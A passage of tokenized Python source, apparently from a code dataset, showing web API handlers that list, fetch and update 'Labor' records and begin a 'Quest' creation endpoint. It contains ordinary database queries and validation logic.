"_", "._", "creator_", "==_", "user", "\\u", "query_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sinc", "e", " ", "we", " ", "may", " ", "have", " ", "used", " ", "multiple", " ", "way", "s", " ", "to", " ", "get", " ", "host", "name", " ", "lists", ",", " ", "compile_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "int", "o", " ", "a", " ", "final", " ", "list", " ", "of", " ", "hostnames", " ", "we", " ", "care", " ", "about_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hostnames", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host", "\\u", "query_", "and_", "user", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "=_", "list_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "set_", "(_", "host", "\\u", "query", "\\u", "hostnames", "_", ")_", "&_", "set_", "(_", "user", "\\u", "query", "\\u", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "host", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "=_", "host", "\\u", "query", "\\u", "hostnames", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "user", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "=_", "user", "\\u", "query", "\\u", "hostnames", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "are", " ", "just", " ", "doi", "ng", " ", "a", " ", "simple", " ", "host", "\\u", "query", ",", " ", "we", " ", "can", " ", "just", " ", "filter", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "hostnames", " ", "we", " ", "collected", ".", " ", " ", "Ot", "her", "wis", "e", ",", " ", "if", " ", "we", " ", "are", " ", "doi", "ng", " ", "a", " ", "user", "\\u", "query_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "need", " ", "not", " ", "just", " ", "host", "s", " ", "owned", " ", "by", " ", "the", " ", "user", ",", " ", "but", " ", "als", "o", " ", "labor", "s", " ", "tha", "t", " ", "belo", "ng_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "a", " ", "quest", " ", "creat", "or", " ", "tha", "t", " ", "matche", "s", " ", "the", " ", "user", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "host", "\\u", "query_", "or_", "user", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Query", "ing", " ", "on", " ", "0", " ", "host", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hosts_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "ids_", "=_", "[_", "host_", "._", "id_", "for_", "host_", "in_", "hosts_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "user", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "=_", "labor", "s_", "._", "filter_", "(_", "and\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "host", "\\u", "id_", "._", "in\\u_", "(_", "host", "\\u", "ids_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "for", "\\u", "owner_", "==_", "1_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "hostnames", "_", "and_", "user", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "s_", "=_", "labor", "s_", "._", "filter_", "(_", "or\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "and\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "host", "\\u", "id_", "._", "in\\u_", "(_", "host", "\\u", "ids_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "for", "\\u", "owner_", "==_", "1_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "and\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "for", "\\u", "creator_", "==_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Labo", "r_", "._", "quest", "\\u", "id_", "._", "in\\u_", "(_", "user", "\\u", "created", "\\u", "quest", "s_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labor", "s_", ",_", "total_", "=_", "self_", "._", "paginate", "\\u", "query_", "(_", "labor", "s_", ",_", "offset_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "s_", "=_", "labor", "s_", "._", "from", "\\u", "self_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "Labo", "r_", "._", "creati", "on", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "limit", "\"_", ":_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "offset", "\"_", ":_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Labo", "rs", "\"_", ":_", "total_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "labor", "s", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "_", "._", "to", "\\u", "dict_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "for_", "labor", "_", "in_", "labor", "s_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Labo", "r", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Labo", "r", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "a", " ", "specific", " ", "Labo", "r", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "labor", "s", "/", "1", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "23", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "startin", "g", "Labo", "r", "Id", "\":", " ", "null", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "quest", "Id", "\":", " ", "5", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "Id", "\":", " ", "2", "6", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "\\u", "creat", "or", "\":", " ", "true", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "for", "\\u", "owner", "\":", " ", "fal", "se", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "ack", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "ack", "User", "\":", " ", "string", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "completion", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Event", "Id", "\":", " ", "127", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "completion", "Event", "Id", "\":", " ", "212", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Labo", "r", " ", "to", " ", "retrieve", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "int", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "host", "s", ",", " ", "event", "types", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Event", "Type", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "labor", "_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Labo", "r_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "labor", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Labo", "r", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "success_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "_", "._", "to", "\\u", "dict_", "(_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "expand_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Labo", "r", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "put_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Update", " ", "a", " ", "Labo", "r", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "PU", "T", " ", "/", "api", "/", "v1", "/", "labor", "s", "/", "23", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "quest", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "ack", "User", "\":", " ", "\"", "john", "ny", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "23", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "quest", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "Id", "\":", " ", "2", "6", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "ack", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "ack", "User", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "completion", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creati", "on", "Event", "Id", "\":", " ", "127", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "completion", "Event", "Id", "\":", " ", "212", ",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Labo", "r", " ", "tha", "t", " ", "shou", "ld", " ", "be", " ", "update", "d", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "string", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "int", " ", "quest", "Id", ":", " ", "The", " ", "Quest", " ", "ID", " ", "to", " ", "whi", "ch", " ", "this", " ", "Fat", "e", " ", "shou", "ld", " ", "now", " ", "be", " ", "associate", "d", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "ack", "User", ":", " ", "The", " ", "user", "name", " ", "to", " ", "log", " ", "as", " ", "hav", "ing", " ", "acknowledge", "d", " ", "this", " ", "Labo", "r", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "403", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", " ", "insuf", "ficient", " ", "permissi", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Labo", "r", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "LAB", "OR", ":", " ", "Update", " ", "{}\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "labor", "_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Labo", "r_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "labor", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Labo", "r", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "quest", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ack", "\\u", "user_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "quest", "Id", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "quest", "\\u", "id_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "quest", "Id", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "ack", "User", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ack", "\\u", "user_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "ack", "User", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "EMA", "IL", "\\u", "REGEX_", "._", "match_", "(_", "ack", "\\u", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ack", "\\u", "user_", "+=_", "\"@\"_", "+_", "self_", "._", "domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "quest", "\\u", "id_", "and_", "not_", "ack", "\\u", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Mus", "t", " ", "update", " ", "eit", "her", " ", "quest", "Id", " ", "or", " ", "ack", "User", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "quest", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "_", "._", "update_", "(_", "quest", "\\u", "id_", "=_", "quest", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "ack", "\\u", "user_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "labor", "_", "._", "acknowledge", "_", "(_", "ack", "\\u", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "str_", "(_", "err_", "._", "orig_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "json_", "=_", "labor", "_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "LAB", "OR", ":", " ", "Update", "d", " ", "{}:", " ", "{}", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "quest", " ", "is", " ", "now", " ", "{}\"_", "._", "format_", "(_", "quest", "\\u", "id_", ")_", "if_", "quest", "\\u", "id_", "else_", "\"\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "acke", "d", " ", "by", " ", "user", " ", "{}\"_", "._", "format_", "(_", "ack", "\\u", "user_", ")_", "if_", "ack", "\\u", "user_", "else_", "\"\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Labo", "r", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Delete", " ", "a", " ", "Labo", "r", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "*", "Not", " ", "support", "ed", "*", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "not", "\\u", "supported_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Quest", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Quest", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Creat", "e", " ", "a", " ", "Quest", " ", "entry", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "quest", "s", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "fat", "e", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "creat", "or", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "target", "Time", "\":", " ", "timestamp", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "description", "\":", " ", "\"", "Thi", "s", " ", "is", " ", "a", " ", "quest", " ", "alm", "ight", "y", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "hostnames", "\":", " ", "[]", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "Query", "\":", " ", "\"", "tag", "=", "value", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "201", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Locat", "ion", ":", " ", "/", "api", "/", "v1", "/", "host", "s", "/", "example", "\\", "10", ";", 